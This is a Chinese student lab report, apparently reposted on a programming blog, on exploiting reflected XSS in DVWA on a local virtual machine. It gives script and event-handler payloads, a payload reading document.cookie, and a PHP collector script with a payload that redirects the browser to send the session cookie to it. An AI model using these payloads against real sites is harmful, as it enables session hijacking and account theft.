当前位置:网站首页>反射型XSS漏洞
反射型XSS漏洞
2022-07-01 16:49:00 【全栈程序员站长】
大家好,又见面了,我是你们的朋友全栈君。
实验项目 | 反射型XSS实验 |
---|---|
综合性实验 | 2020年10月 22日 |
一、实验综述
1.实验目的及要求
(1)跨站脚本(XSS) XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。 (2)XSS漏洞分成三类: 一类是反射型XSS漏洞。产生原因:没有对用户提交的内容进行可靠的输入验证。 一类是保存型XSS漏洞。产生原因:未经适当 过滤净化就将保存在后端数据库的 用户提交的数据显示给其他用户。 另一类则是来自基于DOM的XSS漏洞。由于客户端JavaScript可以访问浏览器的文本对象模型(DOM),因此,它能够决定用于加载当前页面的URL,由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它更新页面的内容,如果这样,应用程序就易受到基于 DOM的XSS攻击。
2.实验仪器、设备或软件
Vmware Workstation Pro 15.0
PHP study、DVWA
Windows 7操作系统
3.实验原理
(1)XSS工作原理: XSS:Cross Site Script,为了和层叠式表(Cascading style sheet,CSS)有所区别,在安全领域叫做“XSS”. XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示安全是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要,由于历史原因,XSS一直保留下来。 (2)Web原理:两种 HTTP 请求方法:GET 和 POST 在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。GET – 从指定的资源请求数据。POST – 向指定的资源提交要被处理的数据。
二、实验过程(步骤过程、数据记录)
1.步骤
(1)打开虚拟机,在命令行中输入命令(ipconfig)查看虚拟机的IP地址。
(2)打开软件phpstudy_pro,启动Apache2.4.39和MySQL5.7.26.
(3)在本地浏览器中输入:http://192.168.45.128/DVWA-master/setup.php进入DVWA页面。
(4)将DVWA Security设为Low
(5)点击左侧XSS(reflected)
(6)在DVWA地址框中输入:http://192.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=#
显示结果,跳转到如下页面:
出现弹窗,说明存在xss。 从虚拟机外的主机访问192.168.45.128
(7)从虚拟机外的主机访问192.168.45.128 地址栏输入:http://192.168.45.168/DVWA-master/vulnerabilities/xss_r/?name=zhangsan
返回页面显示如下:
点击右下方的“View Source”显示页面如下:
根据回显信息判断出,显示的文本内容是 Hello name 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在name 变量中。
(8)添加一条 JavaScript 代码获取 cookie,在上述文本框中输入,点击“submit”,弹出如下对话框:
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!
(9)在文本框中输入<body οnlοad=alert(‘xss2’)>
(10)文本框输入:<a href=’’ οnclick=alert(‘xss3’)>click1
显示结果如下:
点击“click1”,显示结果如下:
(11)在虚拟机192.168.45.128的WWW/DVWA-master目录下,新建cookie1.php,具体内容如下:
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,"my cookie is:".$cookie."\n"); //写入文件
fclose($fp); //关闭文件
?>
在客户端的文本框中输入以下内容,点击submit
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
在DVWA-master文件夹中生成cookie.text, 打开cookie.txt,可看到客户端的cookie值保存在该文本文件中
2.数据记录
(1)输入:
http://162.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=<script>alert("1")</script>#
输出:
1
(2)输入:
http://192.168.45.128 /DVWA-master/vulnerabilities/xss_r/?name=zhangsan</script>
输出:
Hello zhangsan
(3)输入:
<script> alert(document.cookie) </script>
输出:
security=low;PHPSESSID=6feglj7cp01c7mk04dndleb6r2
(4)输入:
<body onload=alert('xss2')>
输出:
xss2
(5)输入:
<a href='' onclick=alert('xss3')>click1</a>
输出:
Hello click1
(5)输入:
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
输出:
创建cookie.txt文件
三、结果讨论与分析
1.实验结果
最终获取到用户的cookie信息: my cookie is :security=low:PHPSESSID=6avva45en6mubmd3augjkcpjga
2.分析讨论
本次实验在DVWA虚拟环境中进行,学习到了xss注入的基本原理以及基本步骤,如何利用xss漏洞进行攻击,如何获取用户的cookie信息。
3.总结
反射型XSS漏洞产生原因及步骤: 原因:没有对用户输入的内容进行有效验证 步骤: (1)用户正常登录,得到包含会话令牌的cookie (2)攻击者将准备好的URL提交给用户 (3)用户访问攻击者 提供的URL (4)服务器对攻击者的JavaScript做出响应 (5)攻击者的JavaScript在用户浏览器中执行 (6)用户浏览器向攻击者发送会话令牌 (7)攻击者劫持用户会话,得到cookie,访问用户个人信息并以该用户权限执行任意操作。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/130940.html原文链接:https://javaforall.cn
边栏推荐
- National Security Agency (NSA) "sour Fox" vulnerability attack weapon platform technical analysis report
- The difference between the lazy mode of singleton mode and the evil mode
- 重磅披露!上百个重要信息系统被入侵,主机成为重点攻击目标
- Leetcode 216 combined summation III -- backtracking method
- In aks, use secret in CSI driver mount key vault
- unity3d扩展工具栏
- [pyg] document summary and project experience (continuously updated
- (12) About time-consuming printing
- 如何写出好代码 — 防御式编程指南
- String class
猜你喜欢
[C language foundation] 12 strings
Flux d'entrées / sorties et opérations de fichiers en langage C
Borui data integrated intelligent observable platform was selected into the "Yunyuan production catalogue" of China Academy of communications in 2022
换掉UUID,NanoID更快更安全!
Mysql database - Advanced SQL statement (2)
【flask入门系列】Cookie与Session
C language input / output stream and file operation
(28) Shape matching based on contour features
[mathematical modeling] [matlab] implementation of two-dimensional rectangular packing code
Redis6.0 新功能
随机推荐
In aks, use secret in CSI driver mount key vault
为什么你要考虑使用Prisma
LeetCode中等题之TinyURL 的加密与解密
多线程使用不当导致的 OOM
Jojogan practice
Activity的生命周期和启动模式详解
Judge whether a binary tree is a balanced binary tree
China nylon 11 industry research and future forecast report (2022 Edition)
(1) CNN network structure
Redis distributed lock
Redis6.0 new features
模板引擎Velocity 基礎
[pyg] document summary and project experience (continuously updated
mysql -- explain性能优化
libcurl下载文件的代码示例
软件工程导论——第六章——详细设计
vulnhub靶场-hacksudo - Thor
Redis Distributed Lock
在MeterSphere接口测试中如何使用JMeter函数和MockJS函数
[mathematical modeling] [matlab] implementation of two-dimensional rectangular packing code